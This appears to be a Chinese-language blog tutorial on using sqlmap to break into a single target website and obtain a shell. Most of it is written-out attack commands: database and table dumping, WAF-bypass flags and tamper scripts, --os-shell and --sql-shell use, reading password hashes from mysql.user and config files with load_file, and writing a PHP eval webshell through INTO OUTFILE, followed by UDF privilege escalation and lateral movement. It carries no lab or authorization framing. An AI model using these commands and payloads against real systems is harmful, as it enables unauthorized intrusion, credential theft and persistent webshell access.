SQLMAP怎么拿shell
#前言
首先,这篇文章只针对于渗透某单一网站,来如何利用sqlmap。如果有个别大牛是单单的挖SRC,那么手注的效率是高于sqlmap的。此外,这也是我自己的一个心得,如有不同的意见,欢迎大家进行交流学习。
此外,在开篇之前,我也讲讲一些加快注入的方法,比如进入一个网站,你可以看见他的语言,然后大致判断出数据库的,或者用一些网站指纹和插件来判断,这样,在注入的时候可以–dbms = mysql,这样可以打打提高速率,第二,就是我们先判断哈注入点,’ and 1=1–+ ,'and 1=2–+查看sql注入的类型,如果知道了,我们可以–technique = U联合注入。然后还可以设置线程,–threads = 50增加默认线程。 --batch,自动注入,系统帮你选择。如果在注入途中我们的ip直接被ban了,我们下次可以用–safe-freq和–random-agent这2个参数。
我直接开讲,我首先说说sqlmap常见ri站的几种方法:
1.例如某网站的url为www.xxxx/aboutus.php?id=1,假如其存在注入点,并且sqlmap能跑。以后的网站都为www.xxxx/aboutus.php?id=1
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db //查询当前数据库
sqlmap -u www.xxxx/aboutus.php?id=1 -D 数据库名字 --tables //查询所有表
sqlmap -u www.xxxx/aboutus.php?id=1 -D 数据库名字 -T 表名 --columns //查询表里的所有字段
sqlmap -u www.xxxx/aboutus.php?id=1 -D 数据库名字 -T 表名 -C 字段 --dump
这是最简单的一种,如若存在注入,我们首先找到他的密码,然后进入网站后台,当然找网站后台也有很多方法,在我github里面我总结了的,回到正题,进入后台我们就可以找上传点,然后上马拿shell,这是第一种方法。
此外,我们还可以使用一些参数,比如sqlmap -u “xxxxx” --file-write="/root/Desktop/1.txt" --file-dest=“f:\1.txt” sqlmap写文件,需要dba权限
2.假入我们在sqlmap输入sqlmap -u www.xxxx/aboutus.php?id=1 --current-db ,无法完成注入,我们可以加以点东西,例如,
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --hex,–hex是进行16进制编码,有几率绕过.
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --no-cast,该参数也是一种编码,也有几率绕过。
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --hpp,该参数为是对http参数进行污染,也有几率绕过。
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --tamper apostrophemask.py 使用脚本绕过,这个脚本是换成utf-8的格式,网上也有很多脚本的注释,大家可以参考网上的资料。
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --risk = 5 --level = 2,增加risk与level的等级,更全方位的体检,但是,耗费的时间也更多。这是对第一种的方法的补充。
3.关于POST注入,这个注入要比第一种成功率高(我认为),而且利用的方法也很多。
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --cookie "id=1"这也是post的一种,关于cookie,当然,我们还可以使用–data,我这儿不推荐,我建议用burpsuit抓包,然后在user-agent,cookie啊,这些地方都可以加*,然后sqlmap开始注入。
然后我们就可以使用sqlmap -u www.xxxx/aboutus.php?id=1 -r 1.txt按照以上的步骤操作,但是我们也可以使用一些额外的参数例如,–os-shell,–sql-shell,–os-pwn
接下来,我就来讲讲这几个参数首先是–os-shell,os-shell创建一个对方操作系统的shell,远程执行系统命令,但是我们的知道一些条件,第一是语言,这个很简单
第二是晓得绝对路径,怎么找绝对路径我也总结了,就在我的github上,选项一为用这几个路径,选项二为用户自己输入,选项三为用用户的字典,选项四为爆破。
然后我们就可以执行命令了
然后我们就可以cd 跳到他的磁盘去,创建文件,写入一句话,如若是域用户,还可以以此为跳板,内网横向渗透。(这里我没有写)
接下来是–os-cmd,最开始我一直分不清它跟前者到底有什么关系,后来才明白这个是不需要你输入路径的,我们只需要看自己的权限,是不是DBA权限–is-dba。看开启xp_cmdshell没有,如果开启了,那就可以使用。
这个就看运气了,基于这个方法,我们还是能getshell,思路也是同前一种方法一致。
然后我再介绍一下–sql-shell这个参数,这个参数其实跟前面2个参数的要求没那么高,只要数据库开启了shell能执行命令,那么我们即可使用,但是在网上对于此方法的提及真的是微乎其微,所以,我也自己经历了一些情况,才慢慢摸索出来的。
首先我们可以这样使用:
sqlmap -u www.xxxx/aboutus.php?id=1 --sql-shell 然后我们就进入了交互式页面。
然后我们输入 select host,user,password from mysql.user这条命令,可以查询数据库的用户和密码
后面就不截图了,我直接说用法,load_file(’/home/wwwroot/index.php’),读取文件,我们可以读取一些配置很重要的文件,config等文件
select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/home/wwwroot/default/p.php’写入一句话,当然,你的有写入的权限。
当然,如果我们不能写,还想getshell,应该怎么办呢,这是,我们就可以按照刚刚的思路,去读取一些重要的配置文件,然后用mysql来远程连接。
sqlmap -d “mysql://admin:[email protected]:3306/security” admin是账号,psw是密码,后面是地址和端口,security数据库。我们数据库可以用current-db来查看,进入以后,我们就可以操作了,我们可以用udf提权,我的xmind也有详细过程,然后整活。
关于–os-pwn,这个是和msf配合使用的,我后续会写一篇专题文章关于MSF的,这儿就不多介绍。
然后还有就是代理,其实sqlmap里面有代理这个参数,但是我感觉不怎么灵活–proxy,我建议的是配合Proxifier这个工具来使用,配置原理就是跟在浏览器配合1080端口用burpsuit抓包一样,全局代理,很方便的。
这些都是我基于自己的心得,毕竟sql注入真的是很多站都存在的问题,也是最容易入手,拿到一个网站shell的一个漏洞,因此,写下这篇文章。毕竟要从一个新手,到大牛,我们必须学会这些工具的利用,然后在基于工具利用的基础上,我们在不断的升华自己,先从简单的网络协议,到操作系统,熟知cmd,powershell,注册表,到代码审计,自己找cms的0day,再到掌握语言,自己写工具,对工具有自己的见解,然后基于底层的汇编,逆向,为后面的免杀加壳做准备。最后,拥有完善的思维系统,外网内网有自己的思路。这些,都需要我们一步一个脚印,慢慢去完善。
https://github.com/xinxin999 这是我的github,也希望在各位学安全的伙伴,共同进步,为中国的互联网尽一份微薄的力量。